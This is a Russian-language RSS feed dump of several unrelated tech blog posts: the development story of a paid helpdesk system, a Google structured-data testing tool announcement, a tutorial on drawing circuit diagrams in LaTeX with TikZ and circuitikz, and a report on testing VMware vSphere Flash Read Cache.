Как мы написали helpdesk (часть 2)



В продолжении части 1, мы решили написать статью, как вышли на «новый уровень» по созданию веб-продукта. Хочу сразу уточнить, что это не совсем хелпдеск, который основан на создании заявок клиентами (хоть такая возможность и присутствует), а больше рассчитан на внутреннюю работу организации или IT-департамента. Так же хочу напомнить, что система создавалась конкретно под наши требования, поэтому она не лучше других, но и не хуже. Она просто «другая», у которой есть свои функции под конкретные задачи и возможно займёт достойное место в общем мире продуктов, делающих IT-мир лучше.



Предисловие




После выхода статьи об opensource-версии продукта, я увидел отдачу от проекта. Первое — это конечно же github. Благодаря нему, я увидел что начали обращать внимание на код и функционал: кто-то критиковал, не предлагая ничего взамен, а кто-то делал хорошие замечания. В любом случае, отдача была и она повлияла положительно.

1. Мы узнавали, какие функции хотят люди и потом некоторые (необходимые на наш взгляд) применяли у себя.

2. Находили баги и устраняли их.

3. Появился некоторый список необходимого, который стал «путевым маршрутом разработки» — ROADMAP.



Остро стал вопрос об организации рабочего процесса. Я понял, что сложно самому кодить, общаться по вопросам разработки и проверять/тестировать найденные баги. Проект всё больше развивался и в какой-то момент пришла мысль о том, что наш вклад в проект превосходит наши ожидания. Мы решили получать символическое вознаграждение.



Критика




Было много критики, что забросили проект и предлагаем только платную версию. Но мы всегда шли на компромис — вставайте в строй, помогайте, будьте частью нашей команды, делайте вклад и получайте за это вознаграждение. Если нет возможности купить продукт, то мы спрашиваем: чем вы сможете помочь развитию проекта? И тогда был бартер. Люди предлагали идеи, функционал, реализацию, а мы давали дистрибутив в пользование и работали.

Концепция продукта




Прежде всего мы стремились сделать систему простой, удобной и функциональной. Именно эти слова, как основа и заставили нас написать свою систему, а не взять готовую или платную.

Что бы понять, как же всё-таки применяется система, лучше всего привести жизненный пример, когда есть начальник, у которого несколько подчинённых. Эти люди работают по принципу — выполняй задачу или передавай другому. Что бы контролировать выполнение задач и служит именно такая система.

Это хорошо тем, что:

1. Виден результат работы и загруженность каждого сотрудника

2. Все действия журналируются (если есть задача от начальства отформатировать HDD, то потом доказывать ничего не нужно)

3. Создавай отчёты за любой период и смотри, кто что делал

Таким образом, применение нашей системы уже нашло в государственных органах, it-департаментах, агропромышленных предприятиях, службах технического сопровождения, доставки и других сферах. По своему предназначению система ориентируется именно на организацию работы с заявками/задачами внутри отдела или корпорации, но с возможностью доступа к системе клиентов с ограниченными правами и функционалом. Выглядит это, примерно так: мы it-департамент, работаем с задачами, которые нам создаёт начальник или координатор. Эти задачи так же могут создавать сами пользователи системы, получая их от клиентов по телефону. Сами клиенты могут так же создавать заявки из своего личного кабинета.


Что под капотом?




Код был упорядочен более-менее к концепции MVC и оптимизирован. По прежнему, основой системы есть:

— JS-view (отвечающий за действия на странице пользователя и обработку того или иного UI-элемента)

— Actions php-файл (принимающий действия от ajax-запросов и обрабатывающий их, своего рода часть API)

— Функции и классы (на основе которых работают и actions и других файлы системы)

Именно такой структурный подход к организации проекта и был придуман мной. С использованием NodeJS добавилась прослойка для веб-сокета, который постоянно проверяет очередь событий. Несколько скриптов, которые выполняются по расписанию и отвечают за очередь уведомлений и перенос заявок в архив. Система обновления версий позволяет за один клик обновить всю систему, создав при этом резервную копию текущей системы. Детальнее всё описание системы ниже.



Что именно нас заставило перейти на платную разработку?




Структура клиентов/пользователей

Раньше (в opensource-версии) система имела две логически разные сущности и таблицы. С одной стороны, это было удобно тем, что полноценные пользователи системы находились в одном месте, а клиенты без возможности доступа и прав — в другом. Но в новой версии мы организовали возможность доступа в систему обычным клиентам, для создания заявок. Таким образом система позволяет отдельно внедрить шаблоны личного кабинета своей собственной CRM-системы в нашу и интегрировать два продукта.

Любого пользователя можно подключить к LDAP, и назначить ему определённые права. Довольно часто мы новым клиентам, с имеющейся уже Active Directory, переносим тысячи учётных записей в zenlix, для того что бы клиенты, используя свои AD-логин/пароль, могли создавать заявки.

NodeJS и уведомления — раньше пользователи получали всплывающие уведомления благодаря таймеру в js-коде, которые каждые N-секунд времени посылал ajax-запрос с ключём на проверку новых событий пользователя. Сейчас же, благодаря поднятому nodejs/socket.io -серверу, мы можем получать сами сообщения от сервера с необходимыми командами и обрабатывать их на стороне клиента. Так работает система всплывающих сообщений на события:

— новая заявка,

— прокомментированная заявка,

— заблокированная/разблокированная заявка,

— выполненная/не выполненная заявка,

— сообщение чата.

Это существенно снизило нагрузку на сервер.


Система уведомлений

Это не только уведомления по email, но и с помощью сторонних сервисов, таких как pushbullet, sms, jabber и других. Мы перешли от процедурного выполнения отправки письма по действиям пользователей к логически-запланированному. Под уведомлениями следует понимать отправку писем и запуск функций библиотек сторонних сервисов. Как следствие, после каждого выполненного действия с заявкой, которое вело за собой отправку уведомлений, пользователь ждал отправку уведомлений (писем, pushbullet) и других, на всех участников (а если их около 20!), тогда создание заявки на отдел (именно отправки уведомления) занимало столько времени, что скрипт отдавал timeout.

Сегодня у нас уже действует система, которая обрабатывает огромное к-во уведомление за короткий период времени, имеет проверку выполнения отправки уведомлений. Это работает благодаря системы очереди. Все события накапливаются в таблице БД, которая проверяется с интервалом раз в минуту, с помощью скрипта, который и выполняет отправку всех уведомлений по всем сервисам. Таким образом, отправка уведомлений, работает асинхронно от действий пользователя с UI.


Шаблон был выбран из серии AdminLTE и как сказано в описании: «Free Premium Admin control Panel Theme That Is Based On Bootstrap 3.x» :) Он позволяет прекрасно выглядеть системе на различных устройствах и имеет достаточно приятный набор UI-элементов, которые радуют глаза людей, постоянно работающих с системой.


Планировщик задач

Это то, что так не хотелось делать, но нас заставило из-за настойчивого клиента. Благодаря данному функционалу, мы имеем возможность создать заявку с определёнными параметрами и запланировать её создание с необходимой нам периодичностью. Это касается типичных регламентируемых задач например по обслуживанию техники или созданию резервных копий.


Отчёты и графики

Нас так часто просили написать и вывести отчёты по определённым критериям, что мы просто совместили наиболее частые запросы в несколько информативных отчётов. Теперь мы можем смотреть статистику

— по конкретным пользователям за определённый период,

— по выбранным отделам за период,

— общую статистику всего департамента.

При этом каждому пользователю системы доступна и персональная статистика.


Система обновления

Пользователь в админ-меню кликает по кнопке, в результате чего срабатывает JS-функция отправки ajax-запроса к нашему actions-файлу, тот в свою очередь запускает стандартную функцию, суть которой сформировать curl-запрос к нашему API-серверу обновлений, и получить ответ: есть ли новая версия и если есть то какие изменения произошли. После этого:

1. Скачивается архив необходимых файлов для обновления.

2. Делается локально резервная копия всех файлов и БД.

3. Удаляются все текущие файлы.

4. Разархивируются новые файлы и копируются в рабочую директорию.

5. Удаляется временный файлы и архивы.

6. Обновление готово.

Конечно, есть минусы такого подхода. Если у Вас своя конфигурация, то у Вас нет возможности обновляться, так как новая версия будет удалять файлы прежней. Можно в ручном режиме отслеживать и восстанавливать нужные файлы, но это не так удобно, как хотелось бы.

Со стороны разработчиков, хедлайнер проекта делает пуш в основной репозиторий, после чего срабатывает post-receive HOOK, который:

1. Создаёт основной дистрибутив последней версии продукта.

2. Создаёт архив для системы обновления только с необходимыми для обновления файлами.


Вопрос лицензирования




Как только мы поняли, что система переходит в платное русло, мы задумались о лицензировании. Точнее о контроле за распространением кода. Так как 90% кода это PHP, ~8% — JS, ~2% — CSS, то можно было бы воспользоваться Zend Guard или ioncube. Но стоимость этих продуктов достаточно высокая, как для нашего стартапа. К тому же мы не хотели клиентов и пользователей озадачивать лишними действиями по установке необходимого софта и потом постоянных проверок продукта. Мы доверяем нашим клиентам так же, как они доверяют нам, покупая этот продукт. Поэтому, у нас нет привязок по ip или доменным именам.

Параллельные разработки




В нашем продукте мы параллельно разрабатываем и в ближайшее время выпустим IOS-приложение, которое позволит с минимальным функциональным интерфейсом, максимально удобно обрабатывать заявки. Основной акцент делался на приём push-сообщений о новых событиях, касательно заявок. Для разработки такого приложения, был написан API-скрипт, обрабатывающий основные функции: авторизация, получения текущего списка заявок, просмотр заявки, блокировка/разблокировка и выполнение/невыполнение конкретной заявки.



Отсюда, мы решили и дальше развивать API, создавая при этом основу для развития функционала мобильного приложения и нового объекта системы API-интерфейса, для интеграции с различными сервисами и системами.

Какие остались открытые проблемы и не решённые вопросы?




Вся поддержка текущих клиентов пока в ручном режиме, то есть это skype/email. Планируется создать платформу, которая позволит создать сообщество пользователей, для дальнейшего развития проекта. Возможно, появится ещё один продукт на основе этого.

Документация для разработчиков так же пока не доступна, что в свою очередь затрудняет развитие продукта для новых разработчиков, вступивших в команду. Первое это API, архитектура работы проекта, основные функции и модули системы.

Инсталляция nodejs и его поддержка обязывает производить в ручном режиме установку nodejs, socket.io, mysql. А так же forever — для постоянного контроля и поддержки сервера. Для некоторых эти действия являются проблемными. Мы работаем над написанием инсталляционного скрипта, который позволит облегчить этот процесс. Так же мы переходим с forever на PM2.

Подход к клиентам




Очень часто мы ловили себя на мысли, что отдаём больше, чем получаем. Скорее это так и есть до сих пор. Потому, как мы бесплатно или с большими скидками распространяем продукт в образовательные учреждения, помогаем внедрить в новые инфраструктуры организации, проконсультировать по возможным нюансам работы. Наша задача не заработать на данном продукте, что конечно является природным желанием, а получить опыт рабочего процесса разработки, общения с клиентами и их удалённая поддержка. Мы всегда предлагаем бесплатную удалённую установку, не смотря на то, что есть документация и простой скрипт установки. Наш продукт не является идеальным, но мы стремимся к этому постоянно, благодаря отзывам и комментариям. Так же и цель этой статьи — получить максимальную базу для дальнейшего развития проекта.

Итог




Мы очень надеемся, что наш продукт займёт своё место в мире продуктов для оптимизации и организации рабочего процесса. В любом случае, для нас это ещё один прекрасный опыт. Рады будем услышать комментарии в стиле: «можно было бы сделать так..», «ещё не плохо было бы сделать...», «у нас это реализовано так...». Мы не будем давать консультационные ответы, так как цель этой статьи не реклама и не предложение купить наш продукт, а поделиться опытом рабочего процесса, созданием нового продукта.

Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Пишем с нуля квест на ASP.NET 5 (vNext) и Angular.js

[Перевод] Новый инструмент проверки структурированных данных, документация и не только

Разметка структурированных данных позволяет показывать дополнительную информацию с вашего сайта в результатах поиска и сервисах Google. Мы рады представить несколько обновлений, которые помогут создавать разметку на сайте:

Инструмент проверки структурированных данных




Новый Инструмент проверки структурированных данных лучше показывает то, как Google интерпретирует разметку структурированных данных на странице сайта.

Инструмент проверки структурированных данных



Доступны следующие возможности:


  • Проверка для всех функций Google, работающих на основе структурированных данных.

  • Поддержка синтаксиса разметки JSON-LD, в том числе для страниц с динамическим HTML.

  • Наглядное представление элементов структурированных данных на вашей странице.

  • Выделение ошибок разметки прямо в исходном HTML-коде.




Новая документация и более простые правила




Мы учли отзывы веб-мастеров и уточнили описание поддерживаемых элементов структурированных данных. В новой документации рассказывается о том, какую разметку нужно добавить, чтобы воспользоваться теми или иными возможностями представления контента, а также приводятся примеры кода для различных поддерживаемых вариантов синтаксиса. Мы планируем заменить старую документацию новой.

Мы также упростили и уточнили правила использования структурированных данных. Если вы считаете, что какой-либо сайт нарушает рекомендации Google по обеспечению качества расширенных описаний, сообщите нам об этом с помощью формы сообщения о спаме в расширенных описаниях веб-страниц.


Расширенная поддержка JSON-LD




Мы расширили набор поддерживаемых элементов schema.org в синтаксисе JSON-LD, добавив новые варианты использования: логотипы и контактная информация компаний, ссылки на профили в социальных сетях, мероприятия Сети знаний, окно поиска ссылок сайта и расширенные описания мероприятий.

Как и всегда, мы будем очень рады вашим отзывам и вопросам, которые можно задавать на справочном форуме для веб-мастеров.


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Электрические схемы средсвами LaTeX и TikZ

Иногда в LaTeX нужно нарисовать несложную электрическую схему. Далее

рассказано как это сделать без привлечения стороннего ПО средствами самого

LaTeX. То что будет написано далее рассчитано на тех, кто уже знаком с таким

средством создания векторной для LaTeX как TikZ. В противном случае нужно

сначала ознакомиться с TikZ. Немного информации на русском языке есть

тут . Те, кто уже знаком с TikZ — см.

под кат. Данные способы рисования схем в LaTeX я использовал в процессе написания диссертации.

Вот такую схему можно нарисовать средствами LaTeX:



TikZ с библиотекой circuits


Для рисования электрических схем служит библиотека circuits. Её нужно

подключить в преамбуле документа при помощи команды \usetikzlibrary.

Дополнительно в качестве параметра окружения tikzpicture нужно указать

circuit ee IEC.



\usetikzlibrary{circuits}
\usetikzlibrary{circuits.ee}
\usetikzlibrary{circuits.ee.IEC}
\usetikzlibrary{circuits.logic.IEC}


Элементы схем являются в этой библиотеке специальными типами узлов и задаются как обычные узлы TikZ командой \node. Здесь нужно обратить внимание, что текст узла, задаваемый в фигурных скобках, у радиоэлементов всегда пустой. Позиционное обозначение и номинал вводятся как параметр info в квадратных скобках. Парметр point up разворачивает компонент на 90 градусов, а параметр point down — на 270 градусов.



\node (R) [resistor={info={$R$}}] at (2,2) {}; % горизонтальный резистор
\node (C1) at (3,0) [point up,capacitor={info = $C_1$, info'= 100 пФ}] {}; %вертикальный конденсатор


Полный список всех компонентов имеется в документации к TikZ.

Узел схемы задаётся специальным узлом contact, который рисует закрашенный кружочек.



\node (p2) [contact] at (6,-2) {}; % узел в точке x=6, y=-2


Провода между элементами задаются как обычно в TikZ командой /draw. Прямой провод рисуется командой



\draw (R1) -- (C1);


А провод под углом 90 градусов рисуется командой:



\draw (R1) |- (C1);


или



\draw (R1) -| (C1);


Отличие состоит в том, что в первом случае провод сначала идёт вертикально, а затем горизонтально, а во втором случае — наоборот.


К проводам можно применять все параметры (стрелки, толщину линии, как и к обычным траекториям. Например толстый провод со стрелкой:



\draw [thick,->] (R1) -| (C1);


Схемы можно сочетать с любой графикой TikZ и, например, размещать на схеме график.


Теперь рассмотрим небольшой пример, который снабжён комментариями.



\documentclass[12pt]{article}
\usepackage{mathtext}
\usepackage[T2A]{fontenc}
\usepackage[koi8-r]{inputenc}
\usepackage[russian]{babel}
\usepackage[pdftex]{graphics}
\usepackage{tikz}

\usetikzlibrary{circuits} % подключаем библиотеки, содержащие
\usetikzlibrary{circuits.ee} % УГО для схем
\usetikzlibrary{circuits.ee.IEC}
\usetikzlibrary{arrows} % подключаем библиотеки со стрелками
\usetikzlibrary{patterns} % и со штриховкой

\begin{document}

Мега-описание RLC-контура

\begin{figure}[!h]
\begin{center}
\begin{tikzpicture}[circuit ee IEC] % обязательно указываем circuit ee IEC
\node (in) at (0,0) [contact] {}; % вход - контакт
\node (L1) at (1,0) [inductor={info = $L_1$, info'= 47 мкГн}] {}; % катушка -
% info - обозначение на схеме , info' - номинал
\node (C1) at (3,0) [capacitor={info = $C_1$, info'= 100 пФ}] {}; % конденсатор
\node (R) at (5,0) [resistor={info = $R_1$, info'= 2 Ом}] {}; % резистор
\node (out) at (6,0) [contact] {}; % выходной зажим
\draw (in) -- (L1) -- (C1) -- (R) -- (out); %выходной зажим
\end{tikzpicture}
\end{center}
\caption{Последовательный колебательный контур}
\end{figure}


\begin{figure}[!h]
\begin{center}
\begin{tikzpicture}[circuit ee IEC]
\node (R) [resistor={info={$R$}}] at (2,2) {}; % рисуем резистор
\node (p1) [contact] at (3,2) {}; % рисуем точку соединения R и С
\node (C) [point up, capacitor={info={$C$}}] at (3,1) {}; % конденстаор развернём на 90 градусов
\node (p2) [contact] at (3,0) {}; % рисуем точку соединения конденсатора с общи проводом
\draw [-latex] (p1) -- (5,2); % соединяем узлы схемы, R и С
\draw [latex-] (0,2) -- (R);
\draw (R) -- (p1) -- (C) -- (p2); % рисуем провода
\draw [latex-] (0,0) -- (p2);
\draw [-latex] (p2) -- (5,0);
\node at (0,1) {Вход}; % подписываем где Вход
\node at (5,1) {Выход}; % и где Выход

% теперь рисуем АЧХ как обычно график
\draw[xshift=60mm,-latex] (0,0) -- (4,0) node [anchor=west] {$\omega$}; % ось Х
\draw[xshift=60mm,-latex] (0,0) -- (0,3) node [anchor=south] {$K(\omega)$}; % ось Y
\draw [very thick,xshift=60mm, y=2cm, x=1cm,
declare function={K(\w)=1/sqrt(1+\w^2);}] plot [domain=0:3, samples=10,
smooth] (\x,{K(\x)}); % график АЧХ
\end{tikzpicture}
\end{center}
\caption{RC - цепочка и её АЧХ}
\end{figure}
\end{document}


Результат выглядит так:




Пакет circuitikz


Пакет circuitikz является дальнейшим развитием библиотеки cirtuits. Пакет содержит значительно больше компонентов: пассивные компоненты, транзисторы, диоды, тиристоры, логические вентили, трансформаторы. Пакет circuitikz несовместим с библиотекой circuits. Использовать их вместе нельзя. Документацию к пакету можно скачать здесь


Пакет circuitikz подключается в преамбуле вот так:



\usepackage[europeanresistors,americaninductors]{circuitikz}


С такими параметрами УГО получаются наиболее близкими к нашим ГОСТам.


Пакет определяет специальное окружение, в которое нужно помещать схемы:



\begin{circuitikz}
\end{circuitikz}


Помещать это окружение внутри tikzpicture не нужно.


Идеология рисования схем отличается от библиотеки circuits. Компоненты являются не узлами (nodes), а путями (paths). Чтобы разместить одиночный компонент, нужно создать путь командой /draw. Поворот компонента осуществляется ориентацией пути. В качестве примера рассмотрим схему тиристорного фазового регулятора.



\begin{circuitikz}
\draw (-1,0) to [sV,l=$U_c$] (-1,2) % источник синусоидального напряжения
to [R, l=$R_н$,i>_=$I_н$] (2,2) % резистор с направлением тока
to [Ty,l={VS},*-,n=VS] (2,0); % тиристор
\draw (VS.G) to [R,mirror,l=$R_у$,i<_=$I_у$] ++(4,0) |- (2,2);
\draw (VS.cathode) |- (-1,0);
\end{circuitikz}


В результате получается следующее:



Выводы


Для рисования схем в LaTeX модно использовать библиотеку circuits для TikZ или пакет circuitikz. Я бы рекомендовал последний пакет только для рисования сложных схем с полупроводниковыми компонентами. Обычно я предпочитаю использовать библиотеку circuits. Схемы выполненные с использованием каждого из этих способов не выглядят в LaTeX чужеродно, используется тот же шрифт и начертание линий, что и в остальном документе. Также все иллюстрации встроены в документ и всё хранится в едином файле.


Недостатком является то, что большие схемы замедляет компиляцию документа, так как каждый раз при компиляции они рендерятся заново. Также на рисование схемы средствами TikZ затрачивается больше времени, чем при использовании визуальных редакторов.


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Разрабатываем систему аналитики

Как работает SSD кеширование средствами гипервизора в облаке VMware

Компания VMware еще с выходом VMware vSphere 5.1 объявила о нескольких новых начинаниях в сфере хранения данных виртуальных машин, включая возможность использования распределенного кеш на SSD-накопителях локальных дисков серверов ESXi. Данная технология имела рабочее название vFlash и находилась в стадии Tech Preview, превратившись позднее в полноценную функцию vSphere Flash Read Cache (vFRC) платформы VMware vSphere 5.5. И это вполне рабочий инструмент, который можно использовать в задачах различного уровня.




Технология vFRC призвана повысить эффективность взаимодействия клиентских приложений с дисковой подсистемой за счет кеширования считываемых данных, при этом значительно увеличивая производительность приложений, активно выполняющих операции чтения.





Flash Read Cache работает на уровне гипервизора, существенно улучшая при этом производительность виртуальных машин, которые интенсивно используют систему ввода-вывода для операций на чтение. Для кеширования могут быть использованы PCIe флеш-карты и SAS/SATA SSD-диски, локально установленные в хост. Устройства объединяются во флеш-пул, из которого VMDK-дискам виртуальных машин выделяется пространство для кеширования данных.


Напомним, что VMDK (Virtual Machine Disk) — это формат файла, разработанный VMware для использования в качестве образа диска в своих виртуальных машинах.





По уровню производительности SSD-кеш находится между оперативной памятью и обычными дисками.

Обзор архитектуры vFRC


Архитектурная особенность vFRC заключается в следующем:



Когда к VMDK диску с включенным vFRC приходит запрос на чтение, в первую очередь выясняется, есть ли требуемые данные на vFlash.






  • Если да, то виртуальная машина получает данные из кеша. Это событие называют «попаданием» (vFRC hit).

  • Если данные отсутствуют в кеше, то ESXi считывает их из VMDK-диска и отдает машине, параллельно записывая данные в кеш. Это событие называется «промахом» (vFRC miss). Когда приходит запрос на запись, данные записываются на VMDK-диск и асинхронно в кеш.




Для того чтобы активировать функциональность vFRC, необходимо соблюдение следующих условий:


  • Иметь в наличии сконфигурированный узел как минимум с одним SSD или PCIe SSD.

  • Использовать vSphere 5.5 (vCenter 5.5 и ESXi 5.5).




После физического подключения устройства к серверу с ESXi его нужно добавить в vSphere Flash Infrastructure layer. Выполнить это можно на вкладке Virtual Flash Resource Management в настройках хоста.

Включение vFRC в настройках хоста


Для включения vFRC в виртуальной машине в параметрах жесткого диска используется пункт Virtual Flash Read Cache, в котором можно указать объем выделенного пространства для кеширования и размер блока. Размер блока для vFRC следует выбирать в зависимости от того, какими блоками приложение пишет данные на диск. Статистику по блокам для каждого диска можно собрать с помощью утилиты vscsiStats на ESXi.


Определение параметров vFRC




При конфигурировании vSphere Flash Read Cache необходимо учитывать следующие особенности:


  • На хост-сервере должен быть установлен VMware ESXi 5.5 в редакции Enterprise Plus.

  • Настройка и управление vFRC осуществляется только через vSphere Web Client, поэтому требуется VMware vCenter Server.

  • Максимальный размер кеша для одного виртуального диска — 400 Гб.

  • Максимальные размер кеша на хост — 2 Тб.

  • Максимальный размер виртуального диска — 16 Тб.

  • Максимальное количество SSD-накопителей, используемых под кеш, — 8.

  • Требуется обновить Hardware Version виртуальной машины до 10-й версии.

  • Необходимо вручную настраивать кеш для каждого виртуального диска, минимальное значение — 1 Гб.




И немного из личного опыта. Как мы тестировали SSD-кеш в облаке VMware и с какими подводными камнями столкнулись на практике?

Прежде чем предлагать клиентам какое-либо решение, необходимо убедиться в его полноценной функциональности и работоспособности, а значит — протестировать и понять, что полученный результат в полной мере соответствует заявленным возможностям и удовлетворяет требованиям заказчика. А если появилась новинка, которую еще никто не тестировал и не внедрял, обкатывать ее следует с особо пристальным вниманием. Ведь ни для кого не секрет, что во всем новом могут скрываться недоработки, баги и прочие неприятные мелочи.


Как только компания VMware заявила о новой возможности использования распределенного кеша на SSD-накопителях локальных дисков серверов ESXi, мы решили протестировать эту функциональность. Поскольку данная технология до выхода vSphere 5.5 была в стадии Tech Preview, захотелось протестировать уже доработанное решение. Перед нами стояла задача проверить работоспособность vFRC на сооруженном стенде.


Для тестирования диски SSD подключили к RAID-контроллеру Dell PERC H710P. Создали RAID-0 группы по числу SSD-дисков, в каждой группе по одному диску.


Для тестирования диски SSD подключили к RAID-контроллеру Dell PERC H710P


Поскольку RAID-контроллер Dell PERC H710P не умеет предоставлять информацию о физическом типе подключенных к нему носителей, пришлось отмечать вручную, что диски, подключенные к ESXI, являются SSD-дисками. Для этого запустили команду esxcl:


Запуск команды esxcli


После запуска команды в параметрах устройства значение флага “Is SSD” изменилось на “True”:


Изменение значения флага “Is SSD“ в параметрах устройства


После чего добавили устройства в vSphere Flash Infrastructure layer. Текущая процедура выполнялась в настройках хоста посредством опции Virtual Flash Resource Management:


Настройка vFRC в параметрах хоста


Заранее для тестирования SSD-кеша нами был подготовлен стенд с виртуальными машинами на базе ОС Windows Server 2008 R2 x 64 и двумя выделенными под каждую виртуалку VMDK-дисками объемом в 100 Гб каждый:



  • VMDK1 определили под ОС,

  • VMDK2 — под данные.




Далее в параметрах жесткого диска VMDK2 виртуальных машин включили vFRC, выделив 100 Гб под кеш, определив при этом размер блока в 4 Кб.

Определение параметров vFRC


Основные шаги конфигурации выполнены. Далее стояла задача проверки работоспособности включенной функциональности. Однако при запуске виртуальных машин одна попросту отказалась стартовать, вместо окна приветствия появился «синий экран» со следующим содержимым:


«Синий экран» при попытке запуска одной из виртуальных машин


На остальных виртуальных машинах явных проблем не наблюдалось.

Далее решили воспользоваться инструментами, заточенными под мониторинг кеша SSD, и сравнить результаты тестирования. Для начала в одной из виртуальных машин запустили утилиту FIO, которая генерирует необходимый объем данных на диск VMDK2. Как говорилось ранее, именно он был выделен под полезные данные. Утилита FIO может работать в различных режимах, нас интересовала процедура «случайного считывания». Именно поэтому запустили ее в режиме rand-read.



Примечание: Более подробную информацию об утилите FIO можно найти на сайте http://ift.tt/1kS8aqZ.





Утилита FIO подразумевает использование job-файла (или, проще говоря, файла-конфигурации), в котором прописываются параметры под тестирование. Утилита выполняет операции чтения над случайно сгенерированными данными диска VMDK2. В файле конфигурации для чтения фиксируется размер блока считывания (в нашем случае равный 4 Кб). После чего запустили операцию произвольного чтения. Время теста составило 6 часов 46 минут.

Запуск утилиты FIO


Интересовал вопрос: попали ли считываемые данные в кеш и если да, то каков процент попадания?

Для поиска ответа воспользовались графиком производительности виртуального диска машины посредством vSphere WEB client.


График производительности в vSphere WEB client


Интересно было посмотреть на следующие счетчики: среднее количество операций вывода в секунду, задержка чтения и счетчик, дающий статистику по использованию кеша. Последний несколько разочаровал, показав очень маленький процент попадания данных в кеш. При среднем количестве операций вывода в секунду (18 689,328 Кб) значение кешируемых данных составило 4439,389 Кб, а это всего 23% попадания. Согласно такому статистическому раскладу кеш попросту можно считать неработающим.


Поскольку штатное средство не показало ожидаемых результатов, обратились к другому инструменту: команде esxcli. Она так же работает со статистикой по определенному VMDK-диску с включенной опцией vFRC. Запустили команду со следующими параметрами:

~ # esxcli storage vflsh cache stats get


Запуск команды esxcli


На этом рисунке вы можете наблюдать значение cache hit rate, представленное в процентах. Оно показывает так называемое «попадание» vFRC hit, то есть процент данных из кеша, которые используются виртуальной машиной. Рассматриваемую команду пришлось запускать несколько раз, поскольку результаты при очередном запуске оказывались совершенно разными. По одним значением кеш не работал вовсе, как и в первом случае, по другим работал, с процентом попадания данных в кеш, равным 96%.


Не стали останавливаться на полученном, воспользовались еще одной утилитой: esxtop (c отправкой интерактивной команды “u” (u:disk device)) для отображения статистики по использованию кеша. Согласно выведенной на экран информации, получили следующий результат: при «чтении» данные извлекались непосредственно из кеша. Учитывая, что среднее количество операций вывода в секунду составляло 18 689,328 Кб, а объем данных, считываемых с SSD-кеша, 18 184,03 Кб, процент попадания данных в кеш составил примерно 97%.


Использование утилиты esxtop


Результаты тестов не до конца оправдали наши ожидания, и мы, как крупный сервис-провайдер, партнер VMware, обратились за помощью к коллегам на стороне вендора.


Компания VMware имеет достаточно богатый опыт взаимодействия со своими клиентами и партнерами. В случае обнаружения багов, узких мест и прочих моментов по части функциональности продукта разработчики прикладывают все силы, чтобы внести необходимые исправления.


В результате осенью 2014 года было выпущено обновление VMware ESXi 5.5 Update 2, которое устраняет описанную проблему по «синему экрану» виртуальной машины с операционной системой Windows Server 2008 R2 x64.


Вышедшее обновление, безусловно, нас заинтересовало. Решили протестировать, установив его на рассмотренной ранее тестовой площадке с включенным vFRC. Каков результат? Все виртуальные машины запустились как одна. Ставим «+» в этом тесте и двигаемся в сторону показателей счетчиков. Как и в самом начале тестирования, запустили утилиту FIO в режиме rand-read с используемым ранее файлом конфигурации, после чего запустили операцию произвольного чтения. Счетчики в большинстве своем показывали рабочую статистику и лишь периодически указывали неверные значения. То есть VMware ESXi 5.5 Update 2 не устранил описываемую проблему по отображению статистики vFRC. Несмотря на данный баг, технология vSphere Flash Read Cache, как показала дальнейшая практика применения этой функциональности, существенно повышает производительность виртуальных машин за счет уменьшения показателя latency.


После очередных тестов мы перешли к внедрению технологии SSD-кеширования на хостах в промышленную среду. Сегодня на наших площадках успешно реализовано несколько проектов с использованием vSphere Flash Read Cache для наших особо требовательных к производительности клиентов. Последние, в свою очередь, довольны результатами ускорения работы своих систем и приложений.

О других механизмах кеширования можно прочитать в статье: «SSD-кеширование в облаке VMware» в первом блоге о корпоративном IaaS.


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.